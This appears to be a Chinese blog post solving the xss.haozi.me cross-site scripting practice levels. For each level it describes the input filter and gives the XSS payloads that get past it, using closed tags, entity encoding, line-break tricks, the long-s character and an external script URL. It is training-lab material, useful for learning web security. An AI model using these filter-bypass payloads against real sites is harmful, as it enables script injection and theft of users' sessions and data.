当前位置:网站首页>xss.haozi练习通关详解
xss.haozi练习通关详解
2022-08-03 19:58:00 【金色%夕阳】
xss.haozi练习通关概述
题库链接:https://xss.haozi.me/
0x00
这个游戏是要弹图片才算通关,光弹窗是不行的。
分析:
第一关没有任何限制条件,所以直接用img标签过。
payload:
<img src=1 onerror=alert(1)>
执行:
使用img标签,方法是使src错误,而使得onerror执行。我们就可以在onerror后面进行操作了。
0x01
分析:
这里给出的限制条件是<textarea>,而<textarea>标签下所有js代码不能执行,所以需要先闭合该标签。
payload:
</textarea><img src="1" onerror=alert(1)>
官方文档:https://developer.mozilla.org/en-US/docs/Web/HTML/Element/textarea
执行:
0x02
分析:
这里给出的限制条件是input标签,我们可以尝试闭合input标签,即添加"和>。
payload:
"><img src="1" onerror="alert(1)">
执行:
0x03
分析:
这里给出的限制条件是replace方法和过滤了()。我们可以通过实体编码括号和反引号来过。
payload:
<img src="1" onerror="alert`1`">
执行:
0x04
分析:
这里给出的限制条件是过滤了()和反引号`,我们可以使用编码来过 。
payload:
<img src="1" onerror="alert(1)">
执行:
0x05
分析:
这里给出的限制条件是过滤了右注释符,并且让你在注释符中输入,我们可以通过闭合注释来过。
payload:
--!><img src="1" onerror="alert(1)">
执行:
0x06
分析:
这里给出的限制条件是对auto和on开头只要加上等号就会变为下划线,加上大于号大于号也会变为下划线,也就是说过滤了autoforce和onerror事件。我们可以使用一个换行的技巧前提要加一个type属性值image和src映射路径属性,然后再让等于号和属性分开。
payload:
type="image" src="1" onerror
=alert(1)
执行:
0x07
分析:
这里给出的限制条件是使用正则表达式对<></>标签进行了限制,也就是说只能<或者>,总之不能闭合标签,那么这里我们可以使用<img标签来通过。
payload:
<img src="1" onerror="alert(1)"
执行:
0x08
分析:
这里给出的限制条件是对</style>进行了过滤,如果输入就会显示后面的编码内容,并且style标签中只能出现文本或者符号,js代码无法生效,可以模仿0x06中的换行来过。
payload:
</style
><img src="1" onerror="alert(1)">
</style
><script>alert`1`</script>
</style
><svg onload=alert(1)>
执行:
0x09
分析:
这里给出的限制条件是限制了URL,后面按正常套路闭合就行了,在使用img标签来过。
payload:
https://www.segmentfault.com><img src="1" onerror="alert(1)"
执行:
0x0A
分析:
这里给出的限制条件是对&、’、“、<、>、\、/进行了过滤,只要输入这些符号就会被转为实体编码,但img标签的src里是认符号的实体编码,和0x09一样直接输入就通过了。
payload:
https://[email protected]/j.js
执行:
0x0B
分析:
这里给出的限制条件是将所有的字母都换成了大写,所以要将alert(1)进行实体编码。
payload:
<img src="1" onerror="alert(1)">
执行:
0x0C
分析:
这里给出的限制条件是增加了script的过滤,我们可以使用实体编码的方法来过。
payload:
<img src="1" onerror="alert(1)">
执行:
0x0D
分析:
这里给出的限制条件是通过正则表达式过滤了<、/、"、'这四种符号,并且指定了我们的input在//注释语句中,首先考虑逃出注释语句,使用–>注释符逃出,不过这里注意我们在使用语句alert(1)时需要换行。
payload:
-->
alert(1)
-->
执行:
0x0E
分析:
这里给出的限制条件是使用正则表达式过滤了所有字母,并且将字母小写转为了大写,如果输入<script>就会转为<_CRIPT>,所以这里只能使用一个特殊的符号 ſ ,它可以在转换为s而不被过滤,并且由于js中区分大小写,所以还需要将里面的js事件代码进行十进制的实体编码。
payload:
<ſvg onload=alert(1)>
执行:
0x0F
分析:
这里给出的限制条件是对&、’、“、<、>、\、/进行了过滤,只要输入这些符号就会被转为实体编码,并且让我们在img标签中输入,html可以识别转换的编码,所以我们先闭合然后输入js的事件函数alert(1)再通过注释符将后面的注释就可以过了。
payload:
');alert(1)
-->
执行:
0x10
分析:
这里给出的限制条件是window.data,这是window调用了全局变量,正好alert在windowd的全局中存在所以可以执行。
payload:
alert(1)
执行:
0x11
分析:
这里给出的限制条件是对`,“,<,>,,\n等进行了过滤,但是我们可以发现,如果我们输入双引号它会显示\”,其实这里并没有将双引号成功过滤,所以还是可以去使用。
payload:
");alert("1
执行:
0x12
分析:
这里给出的限制条件是输入"双引号会显示\",和0x11类似,不同的是"在这里的console里面输出,但是console.log不在html标签里面,也就是相当于"在html标签外面所以不能被编码,所以只能选择在\“的\前面加一个转义符再进行转义,或者闭合script标签就可以过。
payload:
#方法一
\");alert(1)//
#方法二
\");alert(1)
-->
#方法三
</script>
<script>alert(1)</script>
执行:
边栏推荐
猜你喜欢
MySQL master-slave, 6 minutes you master!
Reveal how the five operational management level of hundreds of millions of easily flow system
149. The largest number on a straight line, and check the set
利用 rpush 和 blpop 实现 Redis 消息队列
Internet Download Manager简介及下载安装包,IDM序列号注册问题解决方法
Go语言类型与接口的关系
余弦距离介绍
盘点在线帮助中心对企业能够起到的作用
Node version switching tool NVM and npm source manager nrm
高并发,你真的理解透彻了吗?
随机推荐
Teach you to locate online MySQL slow query problem hand by hand, package teaching package meeting
谁的孙子最多II
不知道这4种缓存模式,敢说懂缓存吗?
Jingdong cloud released a new generation of distributed database StarDB 5.0
149. 直线上最多的点数-并查集做法
Network protocol-TCP, UDP difference and TCP three-way handshake, four wave
Use ControlTemplate or Style from resource file in WPF .cs and find the control
若依集成browscap读取浏览器用户代理
Matlab paper illustration drawing template No. 42 - bubble matrix diagram (correlation coefficient matrix diagram)
dpkg强制安装软件
FreeRTOS Intermediate
ESP8266-Arduino编程实例-BH1750FVI环境光传感器驱动
codeforces:C. Maximum Subrectangle【前缀和 + 贪心 + 最小子数组和】
高位套牢机构,用友网络的信任危机是如何产生的?
Golang死信队列的使用
CS免杀姿势
Detailed explanation of JWT
那些年我写过的语言
高性能计算软件与开源生态| ChinaOSC
Hinton2022年RobotBrains访谈记录